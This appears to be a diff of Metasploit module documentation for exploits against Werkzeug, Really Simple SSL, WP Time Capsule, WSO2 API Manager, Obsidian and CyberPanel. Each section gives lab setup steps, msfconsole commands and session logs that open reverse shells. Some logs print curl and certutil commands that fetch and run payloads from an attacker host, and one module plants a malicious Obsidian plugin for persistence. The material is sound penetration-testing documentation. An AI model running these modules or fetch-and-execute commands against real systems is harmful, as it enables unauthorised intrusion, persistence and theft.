|
||||
Current pid: 38
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 3eb759665d5f
|
||||
OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
|
||||
Architecture : aarch64
|
||||
System Language : C
|
||||
Meterpreter : python/linux
|
||||
meterpreter > shell
|
||||
Process 41 created.
|
||||
Channel 1 created.
|
||||
|
||||
ls
|
||||
app.py
|
||||
bin
|
||||
boot
|
||||
dev
|
||||
etc
|
||||
home
|
||||
lib
|
||||
media
|
||||
mnt
|
||||
opt
|
||||
proc
|
||||
report.txt
|
||||
root
|
||||
run
|
||||
sbin
|
||||
srv
|
||||
sys
|
||||
tmp
|
||||
usr
|
||||
var
|
||||
exit
|
||||
|
||||
## Credits
|
||||
|
||||
- 2015 - h00die (mike[at]shorebreaksecurity.com)
|
||||
- Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication.
|
||||
- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec)
|
||||
- Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms:
|
||||
- Generated Cookie (bypasses PIN-lock)
|
||||
- Known-Cookie (bypasses PIN-lock)
|
||||
- Known-PIN
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack.
|
||||
This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance.
|
||||
|
||||
### Pre-requisites:
|
||||
- **Docker** and **Docker Compose** installed on your system.
|
||||
|
||||
|
||||
### Setup Instructions
|
||||
|
||||
1. **Download the Docker Compose file**:
|
||||
Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database.
|
||||
|
||||
```yaml
|
||||
version: '3.1'
|
||||
|
||||
services:
|
||||
wordpress:
|
||||
image: wordpress:latest
|
||||
restart: always
|
||||
ports:
|
||||
- 5555:80
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db
|
||||
WORDPRESS_DB_USER: chocapikk
|
||||
WORDPRESS_DB_PASSWORD: dummy_password
|
||||
WORDPRESS_DB_NAME: exploit_market
|
||||
mem_limit: 512m
|
||||
volumes:
|
||||
- wordpress:/var/www/html
|
||||
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
|
||||
|
||||
db:
|
||||
image: mysql:5.7
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_DATABASE: exploit_market
|
||||
MYSQL_USER: chocapikk
|
||||
MYSQL_PASSWORD: dummy_password
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: '1'
|
||||
volumes:
|
||||
- db:/var/lib/mysql
|
||||
|
||||
volumes:
|
||||
wordpress:
|
||||
db:
|
||||
```
|
||||
|
||||
2. **Add custom PHP configuration**:
|
||||
- Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content:
|
||||
|
||||
```ini
|
||||
upload_max_filesize = 64M
|
||||
post_max_size = 64M
|
||||
```
|
||||
|
||||
3. **Start the Docker environment**:
|
||||
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:
|
||||
|
||||
```bash
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
4. **Install and activate the plugin**:
|
||||
- Download the vulnerable version of **Really Simple SSL**:
|
||||
```bash
|
||||
wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip
|
||||
```
|
||||
- Extract the plugin:
|
||||
```bash
|
||||
unzip really-simple-ssl.9.1.1.zip
|
||||
```
|
||||
- Copy the plugin files to the WordPress container:
|
||||
```bash
|
||||
docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/
|
||||
```
|
||||
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel.
|
||||
|
||||
5. **Enable Two-Factor Authentication**:
|
||||
- Go to **Settings > Really Simple Security**.
|
||||
- Activate **Two-Factor Authentication**.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin.
|
||||
2. **Start Metasploit** using the command `msfconsole`.
|
||||
3. Use the correct module for the vulnerability:
|
||||
|
||||
```bash
|
||||
use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce
|
||||
```
|
||||
|
||||
4. Set the target's IP and URI:
|
||||
|
||||
```bash
|
||||
set RHOSTS <target_ip>
|
||||
set TARGETURI /
|
||||
```
|
||||
|
||||
5. **Run the module**:
|
||||
|
||||
```bash
|
||||
run
|
||||
```
|
||||
|
||||
6. **Verify the Authentication Bypass**:
|
||||
- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator.
|
||||
|
||||
## Options
|
||||
|
||||
### USERID
|
||||
|
||||
The user ID to target for 2FA bypass (default: 1)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example 1: PHP Meterpreter (ARCH_PHP)
|
||||
|
||||
```bash
|
||||
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] WordPress Version: 6.5.3
|
||||
[+] Detected vulnerable plugin slug: really-simple-ssl
|
||||
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
|
||||
[*] 2FA bypass successful. Uploading plugin...
|
||||
[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php...
|
||||
[*] Sending stage (40004 bytes) to 172.18.0.3
|
||||
[+] Deleted ajax_pottw.php
|
||||
[+] Deleted wp_1ftvf.php
|
||||
[+] Deleted ../wp_1ftvf
|
||||
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : a8dddfbbb9e2
|
||||
OS : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Example 2: Linux Command Shell (ARCH_CMD)
|
||||
|
||||
```bash
|
||||
msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] WordPress Version: 6.5.3
|
||||
[+] Detected vulnerable plugin slug: really-simple-ssl
|
||||
[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
|
||||
[*] 2FA bypass successful. Uploading plugin...
|
||||
[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php...
|
||||
[*] Sending stage (3045380 bytes) to 172.18.0.3
|
||||
[+] Deleted ajax_gjreh.php
|
||||
[+] Deleted wp_3wbfa.php
|
||||
[+] Deleted ../wp_3wbfa
|
||||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.18.0.3
|
||||
OS : Debian 11.8 (Linux 5.15.0-125-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,153 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21.
|
||||
The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin.
|
||||
|
||||
To replicate a vulnerable environment for testing:
|
||||
|
||||
1. Install WordPress using the provided Docker Compose configuration.
|
||||
2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip).
|
||||
3. Verify that the plugin is activated and accessible on the local network.
|
||||
4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox).
|
||||
5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality**
|
||||
by clicking **"Click here to show upload options"**.
|
||||
This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file
|
||||
in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable.
|
||||
|
||||
## Docker Compose Configuration
|
||||
|
||||
```yaml
|
||||
version: '3.1'
|
||||
|
||||
services:
|
||||
wordpress:
|
||||
image: wordpress:6.3.2
|
||||
restart: always
|
||||
ports:
|
||||
- 5555:80
|
||||
environment:
|
||||
WORDPRESS_DB_HOST: db
|
||||
WORDPRESS_DB_USER: root
|
||||
WORDPRESS_DB_PASSWORD: dummy_password
|
||||
WORDPRESS_DB_NAME: exploit_market
|
||||
mem_limit: 8G
|
||||
volumes:
|
||||
- wordpress:/var/www/html
|
||||
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
|
||||
|
||||
db:
|
||||
image: mysql:5.7
|
||||
restart: always
|
||||
environment:
|
||||
MYSQL_DATABASE: exploit_market
|
||||
MYSQL_USER: root
|
||||
MYSQL_PASSWORD: dummy_password
|
||||
MYSQL_RANDOM_ROOT_PASSWORD: '1'
|
||||
volumes:
|
||||
- db:/var/lib/mysql
|
||||
|
||||
volumes:
|
||||
wordpress:
|
||||
db:
|
||||
```
|
||||
|
||||
Create a `custom.ini` file with the following content:
|
||||
|
||||
```ini
|
||||
upload_max_filesize = 64M
|
||||
post_max_size = 64M
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`.
|
||||
2. Launch `msfconsole` in your Metasploit framework.
|
||||
3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`.
|
||||
4. Set `RHOSTS` to the IP address or hostname of the target.
|
||||
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
|
||||
6. Execute the exploit using the `run` or `exploit` command.
|
||||
7. If the target is vulnerable, the module will execute the specified payload and return a session.
|
||||
|
||||
## Options
|
||||
|
||||
No additional options are required beyond the default ones provided in Metasploit.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21
|
||||
|
||||
**Setup**:
|
||||
|
||||
- Local WordPress instance with WP Time Capsule version 1.22.21.
|
||||
- Metasploit Framework.
|
||||
|
||||
**Steps**:
|
||||
|
||||
1. Start `msfconsole`.
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/multi/http/wp_time_capsule_file_upload_rce
|
||||
```
|
||||
3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`).
|
||||
4. Configure other necessary options (e.g., `TARGETURI`).
|
||||
5. Launch the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
**Expected Results**:
|
||||
|
||||
With `php/meterpreter/reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
|
||||
[*] Found version 1.22.21 in the plugin
|
||||
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
|
||||
[*] Uploading payload: rJ.php with MIME type: message/http...
|
||||
[+] Payload uploaded successfully. Parsing response...
|
||||
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php
|
||||
[*] Sending stage (40004 bytes) to 172.18.0.3
|
||||
[+] Deleted rJ.php
|
||||
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 0bd3f3b7102e
|
||||
OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
|
||||
|
||||
```plaintext
|
||||
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3
|
||||
|
||||
[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi &
|
||||
[*] Fetch handler listening on 192.168.1.36:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
|
||||
[*] Found version 1.22.21 in the plugin
|
||||
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
|
||||
[*] Uploading payload: Ps.php with MIME type: application/zip...
|
||||
[+] Payload uploaded successfully. Parsing response...
|
||||
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php
|
||||
[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Sending payload to 172.18.0.3 (curl/7.74.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.18.0.3
|
||||
[+] Deleted Ps.php
|
||||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.18.0.3
|
||||
OS : Debian 11.8 (Linux 5.15.0-126-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
## Vulnerable Application
|
||||
|
||||
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
|
||||
(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
|
||||
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
|
||||
|
||||
```yaml
|
||||
services:
|
||||
api-manager:
|
||||
image: wso2/wso2am:4.0.0-alpine
|
||||
container_name: swo2_api_manager
|
||||
ports:
|
||||
- "9443:9443"
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
docker-compose up
|
||||
```
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use multi/http/wso2_api_manager_file_upload_rce`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set lhost [ip]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### WSO2 API Manager 4.0.0
|
||||
```
|
||||
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking target...
|
||||
[+] Authentication successful
|
||||
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
|
||||
[+] Authentication successful
|
||||
[*] Listing APIs...
|
||||
[+] Document created successfully
|
||||
[*] Uploading payload...
|
||||
[+] Payload uploaded successfully
|
||||
[*] Executing payload...
|
||||
[+] Payload executed successfully
|
||||
[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100
|
||||
|
||||
id
|
||||
uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
|
||||
pwd
|
||||
/home/wso2carbon/wso2am-4.0.0
|
||||
exit
|
||||
[*] 127.0.0.1 - Command shell session 2 closed.
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### HttpUsername (required)
|
||||
|
||||
The username to authenticate with.
|
||||
|
||||
### HttpPassword (required)
|
||||
|
||||
The password of the user to authenticate with.
|
||||
|
||||
### RHOSTS (required)
|
||||
|
||||
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
|
||||
### RPORT (required)
|
||||
|
||||
The target port (TCP)
|
||||
@@ -0,0 +1,124 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module searches for Obsidian vaults for a user, and uploads a malicious
|
||||
community plugin to the vault. The vaults must be opened with community
|
||||
plugins enabled (NOT restricted mode), but the plugin will be enabled
|
||||
automatically.
|
||||
|
||||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
|
||||
|
||||
### Debugging
|
||||
|
||||
To open the console (similar to chrome), use `ctr+shift+i`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a user shell on the target
|
||||
4. Do: `use multi/local/obsidian_plugin_persistence`
|
||||
5. Do: Select a shell which will work on your target OS
|
||||
6. Do: `run`
|
||||
7. You should get a shell when the target user opens the vault without restricted mode.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the plugin. Defaults to being randomly generated.
|
||||
|
||||
### USER
|
||||
|
||||
The user to target. Defaults the user the shell was obtained under.
|
||||
|
||||
### CONFIG
|
||||
|
||||
Config file location on target. Defaults to empty which will search the default locations.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
Get a user shell.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit
|
||||
|
||||
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: xQem
|
||||
[*] Target User: ubuntu
|
||||
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
|
||||
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
|
||||
[*] Uploading plugin to vault /home/ubuntu/Documents/test
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
|
||||
[*] Found 1 enabled community plugins (sX2sv4)
|
||||
[*] adding xQem to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubuntu
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Obsidian 1.7.7 on Windows 10
|
||||
|
||||
```
|
||||
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: pPq0K
|
||||
[*] Target User: h00die
|
||||
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
|
||||
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
|
||||
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
|
||||
[*] Found 0 enabled community plugins ()
|
||||
[*] adding pPq0K to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
|
||||
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-3ASD0R4\h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-3ASD0R4
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,145 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CyberPanel is an open-source web hosting control panel based on OpenLiteSpeed.
|
||||
This module exploits two pre-authenticated remote command execution (RCE) vulnerabilities found in certain versions of CyberPanel.
|
||||
|
||||
- **CVE-2024-51378**: The `getresetstatus` endpoint in `dns/views.py` and
|
||||
`ftp/views.py` in CyberPanel before commit `1c0c6cb` allows remote attackers to
|
||||
bypass authentication and execute arbitrary commands via `/dns/getresetstatus` or
|
||||
`/ftp/getresetstatus` by bypassing `secMiddleware`(which applies only to POST
|
||||
requests) and using shell metacharacters in the `statusfile` property.
|
||||
This vulnerability has been exploited in the wild as of October 2024 by PSAUX, affecting versions through 2.3.6 and the unpatched 2.3.7.
|
||||
|
||||
- **CVE-2024-51567**: The `upgrademysqlstatus` endpoint in `databases/views.py` in
|
||||
CyberPanel before commit `5b08cd6` allows remote attackers to bypass authentication
|
||||
and execute arbitrary commands via `/dataBases/upgrademysqlstatus`, also by
|
||||
bypassing `secMiddleware` and using shell metacharacters in the `statusfile` property.
|
||||
This vulnerability has similarly been exploited in the wild in October 2024
|
||||
by PSAUX, impacting versions through 2.3.6 and the unpatched 2.3.7.
|
||||
|
||||
- **CVE-2024-51568**: CyberPanel before 2.3.5 allows command
|
||||
injection via completePath in the ProcessUtilities.outputExecutioner() sink.
|
||||
This vulnerability includes unauthenticated remote code execution via shell
|
||||
metacharacters in the /filemanager/upload (aka File Manager upload) endpoint,
|
||||
exploiting shell metacharacters for arbitrary command execution.
|
||||
|
||||
These vulnerabilities allow attackers to execute commands on the server without needing authentication.
|
||||
|
||||
### Installation Instructions
|
||||
|
||||
To set up a vulnerable instance of CyberPanel for testing, follow these
|
||||
instructions on an Ubuntu 18.04 server (or later).
|
||||
The example below demonstrates installation on Ubuntu 18.04, though newer versions of Ubuntu should work as well.
|
||||
|
||||
1. First, install necessary dependencies and disable IPv6 to avoid potential network issues:
|
||||
|
||||
```bash
|
||||
sudo su -
|
||||
apt update && apt install -y curl wget
|
||||
sysctl -w net.ipv6.conf.all.disable_ipv6=1
|
||||
sysctl -w net.ipv6.conf.default.disable_ipv6=1
|
||||
```
|
||||
|
||||
2. Then, download and run the CyberPanel installation script:
|
||||
|
||||
```bash
|
||||
sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)
|
||||
```
|
||||
|
||||
3. During installation, choose the following options:
|
||||
- Install CyberPanel: Select option `1`
|
||||
- Install CyberPanel with OpenLiteSpeed: Select option `1`
|
||||
- Skip full installation (choose `n`)
|
||||
- Skip Postfix, PowerDNS, and PureFTPd installations
|
||||
- Skip Remote MySQL setup
|
||||
- Install CyberPanel version `2.3.4` when prompted
|
||||
- Decline Memcached and Redis installations
|
||||
- Decline WatchDog setup for Web service and Database service
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install CyberPanel as outlined above.
|
||||
2. Start `msfconsole`.
|
||||
3. Use the module path: `use exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve`.
|
||||
4. Set the `RHOSTS` option to the target server’s IP.
|
||||
5. Run the exploit with the desired CVE (choose either `cve-2024-51567`, `cve-2024-51568` or `cve-2024-51378`).
|
||||
6. A successful exploitation should provide a shell on the target.
|
||||
|
||||
## Options
|
||||
|
||||
No option
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example: CVE-2024-51567 on CyberPanel 2.3.5 (Ubuntu 18.04)
|
||||
|
||||
To exploit `CVE-2024-51567` and achieve remote command execution:
|
||||
|
||||
```bash
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51567
|
||||
action => CVE-2024-51567
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.16
|
||||
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 192.168.1.16:35194) at 2024-11-21 22:26:12 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.16
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Example: CVE-2024-51378 on CyberPanel 2.3.5 (Ubuntu 18.04)
|
||||
|
||||
To exploit `CVE-2024-51378` and achieve remote command execution:
|
||||
|
||||
```bash
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51378
|
||||
action => CVE-2024-51378
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.16
|
||||
[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 192.168.1.16:39820) at 2024-11-21 22:27:06 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.16
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Example: CVE-2024-51568 on CyberPanel 2.3.4 (Ubuntu 18.04)
|
||||
|
||||
```bash
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > set action CVE-2024-51568
|
||||
action => CVE-2024-51568
|
||||
msf6 exploit(unix/webapp/cyberpanel_preauth_rce_multi_cve) > run http://192.168.1.16:8090
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] CSRF Token retrieved: CtCqolh8EQHkik3J8sjbUxPemD9PN8j2cZ7QBIxtUN3zmHQ1sbSnXOCBVWr00kI7
|
||||
[*] CSRF Token retrieved: ExmQR7HciOpdsPRrh43NNjGNYaLbRb6pKnap4Z5onPfVGjPqCNFyehTAqIpBrSuB
|
||||
[+] The target is vulnerable. Target is running CyberPanel and is vulnerable.
|
||||
[*] CSRF Token retrieved: NMATUvqAxFW2bU5bnhvFf860BfFrj8DGMqtSXS81RbmxjifXo9sJCe1KM7933cIY
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.16
|
||||
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.16:46212) at 2024-11-21 22:37:00 +0100
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.16
|
||||
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -1,6 +1,7 @@
|
||||
## Introduction
|
||||
|
||||
